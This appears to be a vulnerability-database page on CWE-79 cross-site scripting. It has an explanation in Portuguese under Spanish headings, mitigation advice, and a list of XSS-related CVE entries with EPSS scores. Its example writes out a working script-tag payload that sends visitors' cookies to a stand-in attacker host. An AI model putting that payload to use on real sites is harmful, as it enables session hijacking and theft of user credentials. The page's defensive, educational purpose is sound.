Fallos del tipo CWE-79

28.833 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-38145MEDIUMSilverstripe silverstripe/framework through 4.11 allows XSS (issue 1 of 3) via remote attackers adding a Javascript payload to a page's metaEPSS 0.6%CVE-2023-40577HIGHAlertmanager UI is vulnerable to stored XSS via the /api/v1/alerts endpointEPSS 0.6%CVE-2020-8280—A missing file type check in Nextcloud Contacts 3.4.0 allows a malicious user to upload SVG files as PNG files to perform cross-site scriptiEPSS 0.6%CVE-2021-34625MEDIUMWP Upload Restriction <= 2.2.3 - Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-0159HIGHCross-site Scripting (XSS) - Stored in orchardcms/orchardcoreEPSS 0.6%CVE-2023-28332—Moodle: algebra filter xss when filter is misconfiguredEPSS 0.6%CVE-2022-1980LOWSourceCodester Product Show Room Site cross site scriptingEPSS 0.6%CVE-2024-29644MEDIUMCross Site Scripting vulnerability in dcat-admin v.2.1.3 and before allows a remote attacker to execute arbitrary code via a crafted script EPSS 0.6%CVE-2022-36347MEDIUMWordPress Alpine PhotoTile for Pinterest plugin <= 1.3.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2021-21325MEDIUMStored XSS in budget typeEPSS 0.6%CVE-2021-4132HIGHCross-site Scripting (XSS) - Stored in livehelperchat/livehelperchatEPSS 0.6%CVE-2021-3043HIGHPrisma Cloud: Cross-Site Scripting (XSS) Vulnerability in Prisma Cloud Compute Web ConsoleEPSS 0.6%CVE-2022-3000MEDIUMCross-site Scripting (XSS) - Stored in yetiforcecompany/yetiforcecrmEPSS 0.6%CVE-2022-46332CRITICALProofpoint Enterprise Protection (PPS/PoD) XSS in "Attachment Names"EPSS 0.6%CVE-2026-84108HIGHIBM Guardium Data Protection is affected by multiple vulnerabilities.EPSS 0.6%CVE-2022-4698MEDIUMProfilePress <= 4.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Form SettingsEPSS 0.6%CVE-2022-3005MEDIUMCross-site Scripting (XSS) - Stored in yetiforcecompany/yetiforcecrmEPSS 0.6%CVE-2022-3004MEDIUMCross-site Scripting (XSS) - Stored in yetiforcecompany/yetiforcecrmEPSS 0.6%CVE-2022-0387MEDIUMCross-site Scripting (XSS) - Stored in livehelperchat/livehelperchatEPSS 0.6%CVE-2024-0345MEDIUMCodeAstro Vehicle Booking System User Registration usr-register.php cross site scriptingEPSS 0.6%